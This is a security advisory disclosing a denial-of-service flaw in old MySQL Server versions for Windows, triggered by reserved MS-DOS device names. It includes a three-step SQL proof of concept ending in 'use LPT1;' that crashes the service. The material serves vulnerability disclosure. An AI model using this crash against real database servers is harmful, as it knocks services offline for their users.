Denial of Service Vulnerability in MySQL Server for Windows

[Luca Ercoli <io () lucaercoli it>]

Package: MySQL Database Server for Windows
Auth: http://www.mysql.com/
Version(s): 4.1.XX/4.0.XX/5.0.XX
Vulnerability Type: Denial of Service




Disclaimer:
==========

The information is provided "as is" without warranty of any kind.
The author of this issue shall not be held liable for any
downtime, lost profits, or damages due to the informations 
contained in this advisory.




What’s MySQL:
============

MySQL is a multi-user, multi-threaded relational database management system.
The MySQL database server is the world's most popular open source database.





Vulnerability Description:
=========================


A vulnerability exist in the way application handle requests
containing reserved MS-DOS devices name (AUX,CON,COM1,LPT1 and PRN).
This flaw allows an authenticaded user with at least one of those
privileges globally (on *.*):

- REFERENCES
- CREATE TEMPORARY TABLES
- GRANT OPTION
- CREATE
- SELECT

to cause the service to fail.






Proof of Concept:
================



1- Create an user account:

(connected as 'root')

use mysql; 
INSERT INTO user (Host,User,Password) VALUES('%','customer',PASSWORD('customer'));



2- Grant to him one or more privileges reported above:

(connected as 'root')

GRANT CREATE TEMPORARY TABLES ON *.* TO 'customer'@'%';
flush privileges;


3- Connect to server using new account and 'use' the database 'LPT1':

(connected as 'customer')
use LPT1;







Vendor Status:
=============


 http://bugs.mysql.com/

 ID:               9148
 Updated by:       Miguel Solorzano
 Reported by:      Luca Ercoli
 User Type:        User
 Status:           Verified
 Severity:         S2 (Serious)
 Category:         Server
 Operating System: Windows
-Version:          4.1.9
+Version:          4.1.XX/4.0.XX/5.0.XX














Credits:
---

Luca Ercoli
io [at] lucaercoli.it
www.lucaercoli.it